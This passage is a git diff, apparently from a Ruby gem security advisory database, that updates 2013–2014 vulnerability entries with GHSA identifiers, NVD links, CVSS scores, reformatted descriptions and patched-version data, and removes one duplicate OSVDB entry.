+    AESCrypt.encrypt and AESCrypt.decrypt functions, which allows attackers to
+    defeat cryptographic protection mechanisms via a chosen plaintext attack.
+  cvss_v3: 7.5
+---
diff --git a/advisories/_posts/2013-10-08-CVE-2013-4413.md b/advisories/_posts/2013-10-08-CVE-2013-4413.md
index d3d69e57..34e204fa 100644
--- a/advisories/_posts/2013-10-08-CVE-2013-4413.md
+++ b/advisories/_posts/2013-10-08-CVE-2013-4413.md
@@ -8,13 +8,15 @@ advisory:
   gem: wicked
   cve: 2013-4413
   osvdb: 98270
-  url: http://www.osvdb.org/show/osvdb/98270
+  ghsa: rprj-g6xc-p5gq
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-4413
   title: Wicked Gem for Ruby contains a flaw
   date: 2013-10-08
-  description: Wicked Gem for Ruby contains a flaw that is due to the program failing
-    to properly sanitize input passed via the 'the_step' parameter upon submission
-    to the render_redirect.rb script. This may allow a remote attacker to gain access
-    to arbitrary files.
+  description: |
+    Wicked Gem for Ruby contains a flaw that is due to the program failing
+    to properly sanitize input passed via the 'the_step' parameter upon submission to
+    the render_redirect.rb script. This may allow a remote attacker to gain access to
+    arbitrary files.
   cvss_v2: 5.0
   patched_versions:
   - ">= 1.0.1"
diff --git a/advisories/_posts/2013-10-16-CVE-2013-4389.md b/advisories/_posts/2013-10-16-CVE-2013-4389.md
index 33425453..5f30e922 100644
--- a/advisories/_posts/2013-10-16-CVE-2013-4389.md
+++ b/advisories/_posts/2013-10-16-CVE-2013-4389.md
@@ -1,21 +1,25 @@
 ---
 layout: advisory
-title: 'CVE-2013-4389 (actionmailer): Action Mailer Gem for Ruby contains a possible
-  DoS Vulnerability'
+title: 'CVE-2013-4389 (actionmailer): CVE-2013-4389 rubygem-actionmailer: email address
+  processing DoS'
 comments: false
 categories:
 - actionmailer
+- rails
 advisory:
   gem: actionmailer
+  framework: rails
   cve: 2013-4389
   osvdb: 98629
-  url: http://www.osvdb.org/show/osvdb/98629
-  title: Action Mailer Gem for Ruby contains a possible DoS Vulnerability
+  ghsa: rg5m-3fqp-6px8
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-4389
+  title: 'CVE-2013-4389 rubygem-actionmailer: email address processing DoS'
   date: 2013-10-16
-  description: Action Mailer Gem for Ruby contains a format string flaw in the Log
-    Subscriber component. The issue is triggered as format string specifiers (e.g.
-    %s and %x) are not properly sanitized in user-supplied input when handling email
-    addresses. This may allow a remote attacker to cause a denial of service
+  description: |
+    Multiple format string vulnerabilities in log_subscriber.rb files in
+    the log subscriber component in Action Mailer in Ruby on Rails 3.x before 3.2.15
+    allow remote attackers to cause a denial of service via a crafted e-mail address
+    that is improperly handled during construction of a log message.
   cvss_v2: 4.3
   unaffected_versions:
   - "~> 2.3.2"
diff --git a/advisories/_posts/2013-10-22-CVE-2013-4457.md b/advisories/_posts/2013-10-22-CVE-2013-4457.md
index f6641cf6..54929fc4 100644
--- a/advisories/_posts/2013-10-22-CVE-2013-4457.md
+++ b/advisories/_posts/2013-10-22-CVE-2013-4457.md
@@ -8,10 +8,12 @@ advisory:
   gem: cocaine
   cve: 2013-4457
   osvdb: 98835
-  url: http://www.osvdb.org/show/osvdb/98835
+  ghsa: c43v-hrmg-56r4
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-4457
   title: Cocaine Gem for Ruby contains a flaw
   date: 2013-10-22
-  description: Cocaine Gem for Ruby contains a flaw that is due to the method of variable
+  description: |
+    Cocaine Gem for Ruby contains a flaw that is due to the method of variable
     interpolation used by the program. With a specially crafted object, a context-dependent
     attacker can execute arbitrary commands.
   cvss_v2: 6.8
diff --git a/advisories/_posts/2013-10-29-CVE-2013-4478.md b/advisories/_posts/2013-10-29-CVE-2013-4478.md
index 818967d0..a84855cb 100644
--- a/advisories/_posts/2013-10-29-CVE-2013-4478.md
+++ b/advisories/_posts/2013-10-29-CVE-2013-4478.md
@@ -1,7 +1,6 @@
 ---
 layout: advisory
-title: 'CVE-2013-4478 (sup): Sup MUA Email Attachment Content Type Handling Arbitrary
-  Command Execution'
+title: 'CVE-2013-4478 (sup): Sup wrongly handled the filename of attachments'
 comments: false
 categories:
 - sup
@@ -9,13 +8,30 @@ advisory:
   gem: sup
   cve: 2013-4478
   osvdb: 99074
-  url: http://www.phenoelit.org/stuff/whatsup.txt
-  title: Sup MUA Email Attachment Content Type Handling Arbitrary Command Execution
+  ghsa: 5f2p-6vjv-2q2m
+  url: https://web.archive.org/web/20140524012714/http://rubyforge.org/pipermail/sup-talk/2013-August/004993.html
+  title: Sup wrongly handled the filename of attachments
   date: 2013-10-29
-  description: Sup MUA contains a flaw that is triggered when handling email attachment
+  description: |
+    Sup MUA contains a flaw that is triggered when handling email attachment
     content. This may allow a context-dependent attacker to execute arbitrary commands.
   cvss_v2: 6.8
   patched_versions:
   - "~> 0.13.2.1"
   - ">= 0.14.1.1"
+  related:
+    cve:
+    - 2013-4479
+    ghsa:
+    - hh2x-7mf9-78fr
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2013-4478
+    - https://github.com/sup-heliotrope/sup/blob/develop/History.txt
+    - https://www.openwall.com/lists/oss-security/2013/10/30/2
+    - https://web.archive.org/web/20140524012714/http://rubyforge.org/pipermail/sup-talk/2013-August/004993.html
+    - https://github.com/sup-heliotrope/sup/commit/8b46cdbfc14e07ca07d403aa28b0e7bc1c544785
+    - https://www.mend.io/vulnerability-database/CVE-2013-4478
+    - https://security-tracker.debian.org/tracker/CVE-2013-4478
+    - https://lwn.net/Articles/575351
+    - https://github.com/advisories/GHSA-5f2p-6vjv-2q2m
 ---
diff --git a/advisories/_posts/2013-10-29-CVE-2013-4479.md b/advisories/_posts/2013-10-29-CVE-2013-4479.md
index b6ef13d5..f20cefc5 100644
--- a/advisories/_posts/2013-10-29-CVE-2013-4479.md
+++ b/advisories/_posts/2013-10-29-CVE-2013-4479.md
@@ -1,7 +1,6 @@
 ---
 layout: advisory
-title: 'CVE-2013-4479 (sup): Sup MUA Email Attachment Content Type Handling Arbitrary
-  Command Execution'
+title: 'CVE-2013-4479 (sup): Sup did not sanitize the content-type of attachments'
 comments: false
 categories:
 - sup
@@ -9,13 +8,30 @@ advisory:
   gem: sup
   cve: 2013-4479
   osvdb: 99074
-  url: http://www.phenoelit.org/stuff/whatsup.txt
-  title: Sup MUA Email Attachment Content Type Handling Arbitrary Command Execution
+  ghsa: hh2x-7mf9-78fr
+  url: https://web.archive.org/web/20140524005344/http://rubyforge.org/pipermail/sup-talk/2013-October/004996.html
+  title: Sup did not sanitize the content-type of attachments
   date: 2013-10-29
-  description: Sup MUA contains a flaw that is triggered when handling email attachment
+  description: |
+    Sup MUA contains a flaw that is triggered when handling email attachment
     content. This may allow a context-dependent attacker to execute arbitrary commands.
   cvss_v2: 6.8
   patched_versions:
   - "~> 0.13.2.1"
   - ">= 0.14.1.1"
+  related:
+    cve:
+    - 2013-4478
+    ghsa:
+    - 5f2p-6vjv-2q2m
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2013-4479
+    - https://web.archive.org/web/20140524005344/http://rubyforge.org/pipermail/sup-talk/2013-October/004996.html
+    - https://seclists.org/fulldisclosure/2013/Oct/272
+    - https://seclists.org/fulldisclosure/2013/Oct/att-272/whatsup.txt
+    - https://www.openwall.com/lists/oss-security/2013/10/30/2
+    - https://github.com/sup-heliotrope/sup/commit/ca0302e0c716682d2de22e9136400c704cc93e42
+    - https://security-tracker.debian.org/tracker/CVE-2013-4479
+    - https://lwn.net/Articles/575351
+    - https://github.com/advisories/GHSA-hh2x-7mf9-78fr
 ---
diff --git a/advisories/_posts/2013-11-04-CVE-2013-4489.md b/advisories/_posts/2013-11-04-CVE-2013-4489.md
index a9e0b53c..ed152222 100644
--- a/advisories/_posts/2013-11-04-CVE-2013-4489.md
+++ b/advisories/_posts/2013-11-04-CVE-2013-4489.md
@@ -8,14 +8,15 @@ advisory:
   gem: gitlab-grit
   cve: 2013-4489
   osvdb: 99370
-  url: http://www.osvdb.org/show/osvdb/99370
+  ghsa: 95xq-v4m2-fq3r
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-4489
   title: GitLab Grit Gem for Ruby contains a flaw
   date: 2013-11-04
-  description: GitLab Grit Gem for Ruby contains a flaw in the app/contexts/search_context.rb
+  description: |
+    GitLab Grit Gem for Ruby contains a flaw in the app/contexts/search_context.rb
     script. The issue is triggered when input passed via the code search box is not
-    properly sanitized, which allows strings to be evaluated by the Bourne shell.
-    This may allow a remote attacker to execute arbitrary commands.
-  cvss_v2: 
+    properly sanitized, which allows strings to be evaluated by the Bourne shell. This
+    may allow a remote attacker to execute arbitrary commands.
   patched_versions:
   - ">= 2.6.1"
 ---
diff --git a/advisories/_posts/2013-11-12-CVE-2013-4562.md b/advisories/_posts/2013-11-12-CVE-2013-4562.md
index e735e566..e9bfd096 100644
--- a/advisories/_posts/2013-11-12-CVE-2013-4562.md
+++ b/advisories/_posts/2013-11-12-CVE-2013-4562.md
@@ -9,7 +9,8 @@ advisory:
   gem: omniauth-facebook
   cve: 2013-4562
   osvdb: 99693
-  url: http://www.osvdb.org/show/osvdb/99693
+  ghsa: cf36-985g-v73c
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-4562
   title: omniauth-facebook Gem for Ruby Unspecified CSRF
   date: 2013-11-12
   description: |
@@ -20,8 +21,8 @@ advisory:
     Cross-Site Request Forgery (CSRF / XSRF) attack causing the victim to
     perform an unspecified action.
   cvss_v2: 6.8
-  patched_versions:
-  - ">= 1.5.0"
   unaffected_versions:
   - "<= 1.4.0"
+  patched_versions:
+  - ">= 1.5.0"
 ---
diff --git a/advisories/_posts/2013-11-14-CVE-2013-4593.md b/advisories/_posts/2013-11-14-CVE-2013-4593.md
index b03fece8..44e1d4e5 100644
--- a/advisories/_posts/2013-11-14-CVE-2013-4593.md
+++ b/advisories/_posts/2013-11-14-CVE-2013-4593.md
@@ -9,7 +9,8 @@ advisory:
   gem: omniauth-facebook
   cve: 2013-4593
   osvdb: 99888
-  url: http://www.osvdb.org/show/osvdb/99888
+  ghsa: 33vg-hpx5-pfxg
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-4593
   title: omniauth-facebook Gem for Ruby Insecure Access Token Handling Authentication
     Bypass
   date: 2013-11-14
@@ -18,6 +19,7 @@ advisory:
     supporting passing the access token via the URL. This may allow a remote
     attacker to bypass authentication and authenticate as another user.
   cvss_v2: 6.8
+  cvss_v3: 7.5
   patched_versions:
   - ">= 1.5.1"
 ---
diff --git a/advisories/_posts/2013-12-02-CVE-2013-6421.md b/advisories/_posts/2013-12-02-CVE-2013-6421.md
index c7ba4c6d..3a2e11c4 100644
--- a/advisories/_posts/2013-12-02-CVE-2013-6421.md
+++ b/advisories/_posts/2013-12-02-CVE-2013-6421.md
@@ -9,7 +9,8 @@ advisory:
   gem: sprout
   cve: 2013-6421
   osvdb: 100598
-  url: http://www.osvdb.org/show/osvdb/100598
+  ghsa: 229r-pqp6-8w6g
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-6421
   title: sprout Gem for Ruby archive_unpacker.rb unpack_zip() Function Multiple Parameter
     Arbitrary Code Execution
   date: 2013-12-02
diff --git a/advisories/_posts/2013-12-03-CVE-2013-4491.md b/advisories/_posts/2013-12-03-CVE-2013-4491.md
index d908bc3f..ee41ff4e 100644
--- a/advisories/_posts/2013-12-03-CVE-2013-4491.md
+++ b/advisories/_posts/2013-12-03-CVE-2013-4491.md
@@ -10,6 +10,7 @@ advisory:
   framework: rails
   cve: 2013-4491
   osvdb: 100528
+  ghsa: 699m-mcjm-9cw8
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/pLrh6DUw998
   title: Reflective XSS Vulnerability in Ruby on Rails
   date: 2013-12-03
diff --git a/advisories/_posts/2013-12-03-CVE-2013-4492.md b/advisories/_posts/2013-12-03-CVE-2013-4492.md
index 26fa4a50..0e151cda 100644
--- a/advisories/_posts/2013-12-03-CVE-2013-4492.md
+++ b/advisories/_posts/2013-12-03-CVE-2013-4492.md
@@ -8,6 +8,7 @@ advisory:
   gem: i18n
   cve: 2013-4492
   osvdb: 100528
+  ghsa: r5hc-9xx5-97rw
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/pLrh6DUw998
   title: i18n missing translation error message XSS
   date: 2013-12-03
diff --git a/advisories/_posts/2013-12-03-CVE-2013-6414.md b/advisories/_posts/2013-12-03-CVE-2013-6414.md
index a97593ea..2e544b88 100644
--- a/advisories/_posts/2013-12-03-CVE-2013-6414.md
+++ b/advisories/_posts/2013-12-03-CVE-2013-6414.md
@@ -10,6 +10,7 @@ advisory:
   framework: rails
   cve: 2013-6414
   osvdb: 100525
+  ghsa: mpxf-gcw2-pw5q
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/A-ebV4WxzKg
   title: Denial of Service Vulnerability in Action View
   date: 2013-12-03
diff --git a/advisories/_posts/2013-12-03-CVE-2013-6415.md b/advisories/_posts/2013-12-03-CVE-2013-6415.md
index 7598b291..70af34f3 100644
--- a/advisories/_posts/2013-12-03-CVE-2013-6415.md
+++ b/advisories/_posts/2013-12-03-CVE-2013-6415.md
@@ -10,6 +10,7 @@ advisory:
   framework: rails
   cve: 2013-6415
   osvdb: 100524
+  ghsa: 6h5q-96hp-9jgm
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/9WiRn2nhfq0
   title: XSS Vulnerability in number_to_currency
   date: 2013-12-03
diff --git a/advisories/_posts/2013-12-03-CVE-2013-6416.md b/advisories/_posts/2013-12-03-CVE-2013-6416.md
index e7f0a839..500dbc00 100644
--- a/advisories/_posts/2013-12-03-CVE-2013-6416.md
+++ b/advisories/_posts/2013-12-03-CVE-2013-6416.md
@@ -10,6 +10,7 @@ advisory:
   framework: rails
   cve: 2013-6416
   osvdb: 100526
+  ghsa: w37c-q653-qg95
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/5ZI1-H5OoIM
   title: XSS Vulnerability in simple_format helper
   date: 2013-12-03
diff --git a/advisories/_posts/2013-12-03-CVE-2013-6417.md b/advisories/_posts/2013-12-03-CVE-2013-6417.md
index 6b6a8394..1bb115ae 100644
--- a/advisories/_posts/2013-12-03-CVE-2013-6417.md
+++ b/advisories/_posts/2013-12-03-CVE-2013-6417.md
@@ -11,6 +11,7 @@ advisory:
   framework: rails
   cve: 2013-6417
   osvdb: 100527
+  ghsa: wpw7-wxjm-cw8r
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/niK4drpSHT4
   title: Incomplete fix to CVE-2013-0155 (Unsafe Query Generation Risk)
   date: 2013-12-03
diff --git a/advisories/_posts/2013-12-12-CVE-2013-7086.md b/advisories/_posts/2013-12-12-CVE-2013-7086.md
index 418aa199..ed73180b 100644
--- a/advisories/_posts/2013-12-12-CVE-2013-7086.md
+++ b/advisories/_posts/2013-12-12-CVE-2013-7086.md
@@ -9,7 +9,8 @@ advisory:
   gem: webbynode
   cve: 2013-7086
   osvdb: 100920
-  url: http://osvdb.org/show/osvdb/100920
+  ghsa: p65m-qr5x-rrqq
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-7086
   title: Webbynode Gem for Ruby notify.rb growlnotify Message Handling Arbitrary Command
     Execution
   date: 2013-12-12
diff --git a/advisories/_posts/2013-12-12-OSVDB-100920.md b/advisories/_posts/2013-12-12-OSVDB-100920.md
deleted file mode 100644
index 66562362..00000000
--- a/advisories/_posts/2013-12-12-OSVDB-100920.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-layout: advisory
-title: 'OSVDB-100920: Webbynode Gem for Ruby contains a flaw'
-comments: false
-categories:
-- webbynode
-advisory:
-  gem: webbynode
-  osvdb: 100920
-  url: http://osvdb.org/show/osvdb/100920
-  title: Webbynode Gem for Ruby contains a flaw
-  date: 2013-12-12
-  description: Webbynode Gem for Ruby contains a flaw in notify.rb that is triggered
-    when handling a specially crafted growlnotify message. This may allow a context-dependent
-    attacker to execute arbitrary commands.
-  cvss_v2: 7.5
-  patched_versions: 
----
diff --git a/advisories/_posts/2013-12-14-CVE-2013-6460.md b/advisories/_posts/2013-12-14-CVE-2013-6460.md
index 2250cb7a..81086b04 100644
--- a/advisories/_posts/2013-12-14-CVE-2013-6460.md
+++ b/advisories/_posts/2013-12-14-CVE-2013-6460.md
@@ -1,25 +1,25 @@
 ---
 layout: advisory
-title: |
-  CVE-2013-6460 (nokogiri): Nokogiri Gem for JRuby Crafted XML Document Handling Infinite Loop Remote DoS
+title: 'CVE-2013-6460 (nokogiri): CVE-2013-6460 rubygem-nokogiri: DoS while parsing
+  XML documents'
 comments: false
 categories:
 - nokogiri
+- jruby
 advisory:
   gem: nokogiri
   platform: jruby
   cve: 2013-6460
   osvdb: 101179
-  url: http://osvdb.org/show/osvdb/101179
-  title: |
-    Nokogiri Gem for JRuby Crafted XML Document Handling Infinite Loop Remote DoS
+  ghsa: 62qp-3fxm-9wxf
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-6460
+  title: 'CVE-2013-6460 rubygem-nokogiri: DoS while parsing XML documents'
   date: 2013-12-14
   description: |
-    Nokogiri Gem for JRuby contains a flaw that may allow a remote denial of
-    service. The issue is triggered when handling a specially crafted XML
-    document, which can result in an infinite loop. This may allow a
-    context-dependent attacker to crash the server.
+    Nokogiri gem 1.5.x has Denial of Service via infinite loop when parsing
+    XML documents
   cvss_v2: 4.3
+  cvss_v3: 6.5
   patched_versions:
   - "~> 1.5.11"
   - ">= 1.6.1"
diff --git a/advisories/_posts/2013-12-14-CVE-2013-6461.md b/advisories/_posts/2013-12-14-CVE-2013-6461.md
index 284e9875..07f32e30 100644
--- a/advisories/_posts/2013-12-14-CVE-2013-6461.md
+++ b/advisories/_posts/2013-12-14-CVE-2013-6461.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-6461 (nokogiri): Nokogiri Gem for Ruby External Entity (XXE) Expansion
-  Remote DoS'
+title: 'CVE-2013-6461 (nokogiri): CVE-2013-6461 rubygem-nokogiri: DoS while parsing
+  XML entities'
 comments: false
 categories:
 - nokogiri
@@ -9,14 +9,14 @@ advisory:
   gem: nokogiri
   cve: 2013-6461
   osvdb: 101458
-  url: http://www.osvdb.org/show/osvdb/101458
-  title: Nokogiri Gem for Ruby External Entity (XXE) Expansion Remote DoS
+  ghsa: jmhh-w7xp-wg39
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-6461
+  title: 'CVE-2013-6461 rubygem-nokogiri: DoS while parsing XML entities'
   date: 2013-12-14
-  description: Nokogiri gem for Ruby contains an flaw that is triggered during the
-    parsing of XML data. The issue is due to an incorrectly configured XML parser
-    accepting XML external entities from an untrusted source. By sending specially
-    crafted XML data, a remote attacker can cause an infinite loop and crash the program.
-  cvss_v2: 
+  description: |
+    Nokogiri gem 1.5.x and 1.6.x has DoS while parsing XML entities by failing
+    to apply limits
+  cvss_v3: 6.5
   patched_versions:
   - "~> 1.5.11"
   - ">= 1.6.1"
diff --git a/advisories/_posts/2013-12-14-CVE-2013-7111.md b/advisories/_posts/2013-12-14-CVE-2013-7111.md
index 0e7aba99..924817b4 100644
--- a/advisories/_posts/2013-12-14-CVE-2013-7111.md
+++ b/advisories/_posts/2013-12-14-CVE-2013-7111.md
@@ -9,10 +9,12 @@ advisory:
   gem: bio-basespace-sdk
   cve: 2013-7111
   osvdb: 101031
-  url: http://osvdb.org/show/osvdb/101031
+  ghsa: xwr3-fmgj-mmfr
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-7111
   title: Bio Basespace SDK Gem for Ruby Command Line API Key Disclosure
   date: 2013-12-14
-  description: Bio Basespace SDK Gem for Ruby contains a flaw that is due to the API
+  description: |
+    Bio Basespace SDK Gem for Ruby contains a flaw that is due to the API
     client code passing the API_KEY to a curl command. This may allow a local attacker
     to gain access to API key information by monitoring the process table.
 ---
diff --git a/advisories/_posts/2013-12-24-CVE-2013-7222.md b/advisories/_posts/2013-12-24-CVE-2013-7222.md
index e34244ca..fd1116f5 100644
--- a/advisories/_posts/2013-12-24-CVE-2013-7222.md
+++ b/advisories/_posts/2013-12-24-CVE-2013-7222.md
@@ -7,9 +7,10 @@ categories:
 - fat_free_crm
 advisory:
   gem: fat_free_crm
-  osvdb: 101445
   cve: 2013-7222
-  url: http://osvdb.org/show/osvdb/101445
+  osvdb: 101445
+  ghsa: g897-cgfc-7q8v
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-7222
   title: Fat Free CRM Gem for Ruby lack of support for cycling the Rails session secret
   date: 2013-12-24
   description: |
diff --git a/advisories/_posts/2013-12-24-CVE-2013-7223.md b/advisories/_posts/2013-12-24-CVE-2013-7223.md
index 0fb8349a..b7ecdb8a 100644
--- a/advisories/_posts/2013-12-24-CVE-2013-7223.md
+++ b/advisories/_posts/2013-12-24-CVE-2013-7223.md
@@ -7,9 +7,10 @@ categories:
 - fat_free_crm
 advisory:
   gem: fat_free_crm
-  osvdb: 101446
   cve: 2013-7223
-  url: http://osvdb.org/show/osvdb/101446
+  osvdb: 101446
+  ghsa: mcvq-7xjq-46x6
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-7223
   title: Fat Free CRM Gem for Ruby contains multiple cross-site request forgery (CSRF)
     vulnerabilities
   date: 2013-12-24
diff --git a/advisories/_posts/2013-12-24-CVE-2013-7224.md b/advisories/_posts/2013-12-24-CVE-2013-7224.md
index 6d421134..89ae76b6 100644
--- a/advisories/_posts/2013-12-24-CVE-2013-7224.md
+++ b/advisories/_posts/2013-12-24-CVE-2013-7224.md
@@ -7,9 +7,10 @@ categories:
 - fat_free_crm
 advisory:
   gem: fat_free_crm
-  osvdb: 101447
   cve: 2013-7224
-  url: http://osvdb.org/show/osvdb/101447
+  osvdb: 101447
+  ghsa: 4xq9-vw89-p5cx
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-7224
   title: Fat Free CRM Gem for Ruby allows remote attackers to obtain sensitive informations
   date: 2013-12-24
   description: |
diff --git a/advisories/_posts/2013-12-24-CVE-2013-7225.md b/advisories/_posts/2013-12-24-CVE-2013-7225.md
index 37d1fff2..bf963590 100644
--- a/advisories/_posts/2013-12-24-CVE-2013-7225.md
+++ b/advisories/_posts/2013-12-24-CVE-2013-7225.md
@@ -7,9 +7,10 @@ categories:
 - fat_free_crm
 advisory:
   gem: fat_free_crm
-  osvdb: 101448
   cve: 2013-7225
-  url: http://osvdb.org/show/osvdb/101448
+  osvdb: 101448
+  ghsa: 9ggp-5rf4-x7q9
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-7225
   title: Fat Free CRM Gem for Ruby allows remote attackers to inject or manipulate
     SQL queries
   date: 2013-12-24
diff --git a/advisories/_posts/2013-12-24-CVE-2013-7249.md b/advisories/_posts/2013-12-24-CVE-2013-7249.md
index 17cf6b02..d5e964e6 100644
--- a/advisories/_posts/2013-12-24-CVE-2013-7249.md
+++ b/advisories/_posts/2013-12-24-CVE-2013-7249.md
@@ -7,9 +7,10 @@ categories:
 - fat_free_crm
 advisory:
   gem: fat_free_crm
-  osvdb: 101700
   cve: 2013-7249
-  url: http://osvdb.org/show/osvdb/101700
+  osvdb: 101700
+  ghsa: f25h-3mj6-4jpg
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-7249
   title: Fat Free CRM Gem for Ruby allows remote attackers to obtain sensitive informations
   date: 2013-12-24
   description: |
diff --git a/advisories/_posts/2013-12-26-CVE-2014-1233.md b/advisories/_posts/2013-12-26-CVE-2014-1233.md
index 04a09231..8e6278da 100644
--- a/advisories/_posts/2013-12-26-CVE-2014-1233.md
+++ b/advisories/_posts/2013-12-26-CVE-2014-1233.md
@@ -9,7 +9,8 @@ advisory:
   gem: paratrooper-pingdom
   cve: 2014-1233
   osvdb: 101847
-  url: http://www.osvdb.org/show/osvdb/101847
+  ghsa: fqrr-rrwg-69pv
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-1233
   title: paratrooper-pingdom Gem for Ruby /lib/paratrooper-pingdom.rb API Login Credentials
     Local Disclosure
   date: 2013-12-26
diff --git a/advisories/_posts/2013-12-31-OSVDB-101577.md b/advisories/_posts/2013-12-31-OSVDB-101577.md
index f5b05115..8e3e73b1 100644
--- a/advisories/_posts/2013-12-31-OSVDB-101577.md
+++ b/advisories/_posts/2013-12-31-OSVDB-101577.md
@@ -8,10 +8,17 @@ categories:
 advisory:
   gem: flukso4r
   osvdb: 101577
-  url: http://osvdb.org/show/osvdb/101577
+  url: https://vulners.com/seebug/SSV:61267
   title: flukso4r Gem for Ruby /lib/flukso/R.rb Arbitrary Command Execution
   date: 2013-12-31
-  description: flukso4r Gem for Ruby contains a flaw in /lib/flukso/R.rb that is due
-    to the application failing to properly validate user-supplied input. This may
-    allow a context-dependent attacker to execute arbitrary commands.
+  description: |
+    flukso4r Gem for Ruby contains a flaw in /lib/flukso/R.rb that is due
+    to the application failing to properly validate user-supplied input. This may allow
+    a context-dependent attacker to execute arbitrary commands.
+  notes: No patched version
+  related:
+    url:
+    - https://security.snyk.io/vuln/SNYK-RUBY-FLUKSO4R-20136
+    - https://vulners.com/seebug/SSV:61267
+    - http://osvdb.org/show/osvdb/101577
 ---
diff --git a/advisories/_posts/2014-01-08-CVE-2014-1234.md b/advisories/_posts/2014-01-08-CVE-2014-1234.md
index 44a21a13..a08d1314 100644
--- a/advisories/_posts/2014-01-08-CVE-2014-1234.md
+++ b/advisories/_posts/2014-01-08-CVE-2014-1234.md
@@ -9,7 +9,8 @@ advisory:
   gem: paratrooper-newrelic
   cve: 2014-1234
   osvdb: 101839
-  url: http://www.osvdb.org/show/osvdb/101839
+  ghsa: 959j-5g9v-3fpq
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-1234
   title: Paratrooper-newrelic Gem for Ruby Process Listing API Key Local Disclosure
   date: 2014-01-08
   description: |
diff --git a/advisories/_posts/2014-01-14-CVE-2014-0013.md b/advisories/_posts/2014-01-14-CVE-2014-0013.md
index 1c041201..a7a727c0 100644
--- a/advisories/_posts/2014-01-14-CVE-2014-0013.md
+++ b/advisories/_posts/2014-01-14-CVE-2014-0013.md
@@ -1,18 +1,17 @@
 ---
 layout: advisory
-title: |
-  CVE-2014-0013 (ember-source): Ember.js Potential XSS Exploit With User-Supplied Data When Binding
-  Primitive Values
+title: 'CVE-2014-0013 (ember-source): Ember.js Potential XSS Exploit With User-Supplied
+  Data When Binding Primitive Values'
 comments: false
 categories:
 - ember-source
 advisory:
   gem: ember-source
   cve: 2014-0013
+  ghsa: 8xm3-gm7c-5fjx
   url: https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4
-  title: |
-    Ember.js Potential XSS Exploit With User-Supplied Data When Binding
-    Primitive Values
+  title: Ember.js Potential XSS Exploit With User-Supplied Data When Binding Primitive
+    Values
   date: 2014-01-14
   description: |
     In general, Ember.js escapes or strips any user-supplied content before
@@ -33,6 +32,7 @@ advisory:
     This vulnerability affects applications that contain templates whose context is
     set to a user-supplied primitive value (such as a string or number) and also
     contain the `{{this}}` special Handlebars variable to display the value.
+  cvss_v3: 5.4
   patched_versions:
   - "~> 1.0.1"
   - "~> 1.1.3"
diff --git a/advisories/_posts/2014-01-14-CVE-2014-0014.md b/advisories/_posts/2014-01-14-CVE-2014-0014.md
index 1ae8c675..ea829af0 100644
--- a/advisories/_posts/2014-01-14-CVE-2014-0014.md
+++ b/advisories/_posts/2014-01-14-CVE-2014-0014.md
@@ -1,17 +1,16 @@
 ---
 layout: advisory
-title: |
-  CVE-2014-0014 (ember-source): Ember.js Potential XSS Exploit With User-Supplied Data When Using {{group}}
-  Helper
+title: 'CVE-2014-0014 (ember-source): Ember.js Potential XSS Exploit With User-Supplied
+  Data When Using {{group}} Helper'
 comments: false
 categories:
 - ember-source
 advisory:
   gem: ember-source
   cve: 2014-0014
+  ghsa: rcx6-7jp6-pqf2
   url: https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4
-  title: |
-    Ember.js Potential XSS Exploit With User-Supplied Data When Using {{group}}
+  title: Ember.js Potential XSS Exploit With User-Supplied Data When Using {{group}}
     Helper
   date: 2014-01-14
   description: |
@@ -30,6 +29,7 @@ advisory:
 
     This vulnerability only affects applications that use the `{{group}}` helper
     to display user-provided content.
+  cvss_v3: 5.4
   patched_versions:
   - "~> 1.0.1"
   - "~> 1.1.3"
diff --git a/advisories/_posts/2014-01-14-CVE-2014-1834.md b/advisories/_posts/2014-01-14-CVE-2014-1834.md
index 3e2b6520..aacf51fa 100644
--- a/advisories/_posts/2014-01-14-CVE-2014-1834.md
+++ b/advisories/_posts/2014-01-14-CVE-2014-1834.md
@@ -9,7 +9,8 @@ advisory:
   gem: echor
   cve: 2014-1834
   osvdb: 102129
-  url: http://osvdb.org/show/osvdb/102129
+  ghsa: 8936-cgj4-phr2
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-1834
   title: echor Gem for Ruby backplane.rb perform_request Function Arbitrary Command
     Execution
   date: 2014-01-14
@@ -18,4 +19,5 @@ advisory:
     function that is triggered when a semi-colon (;) is injected into a username
     or password. This may allow a context-dependent attacker to inject arbitrary
     commands if the gem is used in a rails application.
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2014-01-14-CVE-2014-1835.md b/advisories/_posts/2014-01-14-CVE-2014-1835.md
index 2659fb94..11b31718 100644
--- a/advisories/_posts/2014-01-14-CVE-2014-1835.md
+++ b/advisories/_posts/2014-01-14-CVE-2014-1835.md
@@ -9,11 +9,13 @@ advisory:
   gem: echor
   cve: 2014-1835
   osvdb: 102130
-  url: http://osvdb.org/show/osvdb/102130
+  ghsa: j4gx-p3x5-m987
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-1835
   title: echor Gem for Ruby Process Listing Local Plaintext Credential Disclosure
